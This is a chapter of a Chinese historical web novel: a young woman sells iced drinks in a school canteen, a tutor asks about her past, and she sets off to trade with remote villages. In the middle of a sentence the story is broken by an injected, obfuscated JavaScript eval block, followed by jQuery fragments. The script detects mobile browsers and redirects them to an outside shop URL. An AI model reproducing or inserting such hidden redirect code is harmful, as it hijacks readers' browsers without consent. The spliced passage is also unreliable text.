教训完学生后,叶信孟转过头来,继续和林雪汀说话:“林娘子,不必介怀,他们还要去上一节课,现在卖难免让他们分心。”
“无妨,我已经也有过经历,能理解的,”林雪汀摆了摆手,“不过说起来,他们刚才都能认出我,想来这几日生意做下来,还是吸引了不少学子的。如此看来,我意图扩张生意至中午的念头,可行性也并不低。”
叶信孟点头称是:“这是自然,林娘子这份手艺只要尝过,都或多或少留下印象,所以我也答应你的合作,其中商机定然是有的。”
林雪汀轻嗯了一声,随即俯下身来看着小悦儿,柔声道:“悦儿,你先去上课,等用午膳的时候再来找阿姊。”
小悦儿乖巧地点着头,撒开腿小跑着冲进廊道深处的房间,看着她活泼灵动的身影,林雪汀也是心情甚好,姣好的脸蛋上洋溢着笑容。
一侧的叶信孟看着她的模样,也是忍不住弯起嘴角,露出了丝笑颜。过了一会儿,他上前戳了戳她的手臂,指着远处的小亭子,道:“林娘子,一起去那里坐坐,等快要用午膳时,我带你去食堂看看,顺道也能亲身在这个时间点试试生意,若是情况真如意,也能安心展开之后的规划。”
“那便多谢叶学佐了。”林雪汀躬身道谢。
说罢,二人一起走进池塘边的小亭子,清风徐徐袭过,少女额前青丝飘动着,双眸清澈如溪水,犹如仙娥般出尘。
她坐在叶信孟旁边,彼此一时半会儿找不到话题,自顾自抿着茶水望着池子,半晌后林雪汀组织了下语言说:“叶学佐,其实我还挺敬佩你的,年纪轻轻就可以为人师表,给人传道授业解惑。定然是饱读诗书,颇有一番才华。”
叶信孟摇头苦笑:“算不上什么厉害的,我也只是儿时在长者规劝下,不情不愿地学着这些枯燥的之乎者也,偶尔希望有朝一日能甩开这些书卷,可到头来却自己选择当了学佐,也真是命运使然。”
他顿了顿,皱着眉看着林雪汀,道:“林娘子看上去也不简单啊,你虽然与我接触不多,但我能通过你的谈吐举止,看得出你也当受过礼学,如悦儿这些女娘般也在某个私塾上过些课吧?”
他颇感兴趣地看着她,弄得她有些尴尬,轻轻笑了笑,却也没多说自己的来历,而叶信孟也是识趣地没再问上几句。两人则是顺道基于这个共同点,谈起来一些诗赋的内容,发表起对于这些的看法。而扯起来这些文绉绉的作品来,时间倒也过得飞快,没多久远处的房间全都敞开了门,学生们陆陆续续跑了出来,如饿狼般蜂拥赶往食堂。
瞧见这一幕,林雪汀缓缓起身,与叶信孟对望一眼,对方当即恍然,停下了还想谈论诗赋的心思,带上她一起走往食堂,路上恰好遇见和几个小伙伴一起来的小悦儿,林雪汀笑着牵起她的手,带上她们同行。
几人入食堂以后,并没急着打饭来吃,而是特意挑了一处离大门较近的桌案,将早已舀好放在木箱里的饮子取出,整齐摆在了桌面上。
无需他们吆喝,诱人的清香已然将一个个走入的人引来,他们盯着这边摆的摊,好奇竟然能开在学堂里,有几人也在外面尝过冰粉,对此亦是倍感高兴,纷纷走来光顾。
见有人来,林雪汀指着那一碗碗冰粉,道:“诸位,今日学佐允我进来一次,属实机会难得,冰粉便比外面卖便宜,九文钱便可拿一碗。”
“我先来。”
一人冲过来,给了她钱后,弯着腰就要拿一碗去喝,可忽然瞥见边上还有几碗没见过的饮品,宛如冰晶般晶莹剔透,散发着如同酒水般的醇香。
看出他的疑惑,林雪汀也是借机朗声介绍:“这个是我新做的饮子,叫做素醒酒冰,你们买完一碗冰粉,喝完以后就能都来免费舀来尝鲜。”
之前那人瞟了眼酒冰,眼里满是新奇,也不待细品冰粉滋味,如喝水般大口灌进肚内,伸出手把空碗递了过去,让她帮自己把酒冰放进去,取了个勺子小口吃起来。
一边的人见他很是享受,也都跃跃欲试,如他一般买来冰粉后一饮而尽,只为尝尝着从没见过的酒冰,尝过以后这味道虽有些奇怪,但那弹性十足的口感,还是令不少人甚是喜爱。
见围过来的人越发多,林雪汀也是抓准时机,轻咳了一声,和他们介绍起自己之后的计划:“各位,日后我还是只能在你们放学之时,才能在外面卖这些饮子,不过学佐答应在晌午替我带一些饮子进来,只不过你们得提前在前一日与我预订,方能次日用完午膳也能尝上一口。”
“提前预定?”
众人面面相觑,琢磨一下后纷纷点起头来,还有人指着素醒酒冰问:“那这个也能预定吗?”
林雪汀沉吟片刻,说道:“酒冰依旧免费,只需预定三次,我这边就会给你送上一碗。”
众人闻言都面露惊喜,看向她的眼神满是欣赏,皆觉得如她这样良心的摊贩着实不多,当下还喊上不少同窗一起来关照她的生意。
一个晌午忙得不可开交,终于看着学子们都离开食堂,继续去课堂煎熬时,林雪汀才长松了口气,慵懒地伸了伸腰,侧过头跟小悦儿叮嘱:“阿姊先回去忙别的事,你好好待在学堂里,等放学你阿母会来接你的。”
小悦儿听话地点着头,而林雪汀见事情皆搞定,也是起身和他们告辞离开了,望着她远去的身影,叶信孟久久没收回注视她的目光,思索了一下后,她低着头朝小悦儿问道:“悦儿,你阿姊她也是在咱这长大的吗?如此博学聪慧,不知出自哪个学府?”
小悦儿也没太明白他的用意,只当是对方也被阿姊折服,得意洋洋地昂首道:“我阿姊不是阳州人,她可是在京城那边来的,听我阿母说她可是曾在宫里学府读书的,那可不是一般人能进去的地方!”
听到京城而来,叶信孟也是有些惊异,理智上觉得是孩童夸大吹嘘,可心里多少也对林雪汀多了些重视,眉头皱得更加紧,不知是在琢磨些什么。
他片刻后回过神来,笑着领小悦儿去了她的课堂,自己则迈步走向夫子们所在的屋舍,走到了一个房间门口,神情凝重起来,打理了下衣冠,轻轻叩了叩门。
“进。”
闻言,叶信孟小心地推开门,迈步走进屋内,眼前一个年逾花甲的老者正在桌案前奋笔疾书,头也不抬地问道:“信孟,找我何事?”
叶信孟此时神色比平日郑重许多,因此人与其他夫子不同,是出自京城出名学府而来的,他恭敬地俯身言道:“想向您打听一个人。”
窗边柏树枝干随风摇曳,微风如无形的波浪不断搅动,叶片颤动不休,也不知过去多久,那紧闭的门终于再度拉开,叶信孟慢悠悠地走了出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598541|204213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来,狭长的眼眯着,嘴角挂着一道淡淡的笑意。
离开学堂以后,林雪汀径直赶回了姨母家中,端坐在客房的桌案边,仔细地想着接下来生意该如何转变。
她大致盘算过每日的生意,本来放学之际在学堂外卖冰粉和冰栗糕,也至少能赚个四五百文,夜里去蜀味菜馆撒暂还能有个六百多文,更别提今日还尝试包揽学堂中午的生意。如此看来倒是已经足够她凑够钱租铺子,没必要再去城外过道冒着烈日卖黎檬水。
如此反复考虑后,她决定空出来这段时间,另行安排,而平日下午申时去学堂外摆摊,酉时再到菜馆,空出来的未时则在家里陪阿母她们,也不失为更好的生活节奏。
至于不再去城郊过道,致使总有几天的上午会多一段闲暇时间,她自然也不会放着浪费。最近几日她也有过筹算,设想过不同的门路,眼下是想隔上几日离开渡平,去往别处走走,找些偏僻的地方倒卖城里的货物,以此也能扩大一下生意范围。
她这般想着,次日上午便真收拾了一番,提着一大袋备好的行囊,里面装着不少她这两日在城里杂货铺买的日用品,还有些城外买不到的吃食,独自一人出了城,迈步走在人烟稀少的小路上。
她因出来的太早,也还没用早膳,饿着肚子走在泥泞的道路上,由于有些虚弱而步伐缓慢,踏着被雨水浇灌得黏糊糊的土地,她每迈一步都颇为艰难。
远处时不时传来黄鹂的轻鸣声,声音轻柔提神,令人稍微摆脱浑浑噩噩的状态。
少女一双鞋被湿漉漉的黄泥浸湿,冲刷得亦是脏兮兮的,走起来也好不自在。但她还是咬着牙,竭力坚持下去,打算今日定要寻到一处村落,以此建立起接下来的生意架构。
这并不轻松,她向姨母打听过,渡平县附近的村落寥寥无几,都栖于那些山峦之间,饶是常在渡平的县民都鲜少有去村里的人。可她却也没轻言放弃,毕竟有些钱只有敢吃这苦的才能赚到,而且村落难寻也不全为坏事,毕竟县里人难下乡,那些村民想来县里买东西亦不便,她也能更有希望把这些货物卖出去,赚一些差价回来。
转过一处拐口,眼前道路两侧多了些花草树木,嗅着清新的花香,她深吸了一口气,焦躁的心终是抚平了些。
手上就提着个袋子,也没带任何别的物什,她这一路上太过百无聊赖,只能边走着,边时而转头看着野花旁飞舞的蝴蝶,欣赏着那些辛勤盘旋的蜜蜂,以此来冲淡饥饿以及无聊等情绪。
当她踉跄着走了不少路后,两侧树林皆稀疏起来,远处传来潺潺溪水声,她抬头看去,见一条蜿蜒的溪流环绕在林子外围,溪水边的滩涂被水流洗刷得干净,与她脚下的泥巴地相比格外舒适。
她赶忙小跑着,抵达溪水边,把手放进去洗得干爽后,坐在岸边恣意地感受着徐徐拂过的溪风,取下腰间的干粮咀嚼起来,先前路上的疲惫也淡了下来。
休息完了后,她起身继续走在河畔边,抱着哪怕要拖到很晚很晚的心态,也立志这一行定要摸索出条路来。
也不知到了什么时辰,只知此时天色已然暗了下来,她气喘吁吁地扶着个木桩,眼皮耷拉着,累得格外疲惫,忽然间注意到远处的林子里似有几道身影,很是灵活地穿梭在密林之中,她揉了揉眼睛,心头一喜,顾不上疲劳就往那边赶了上去。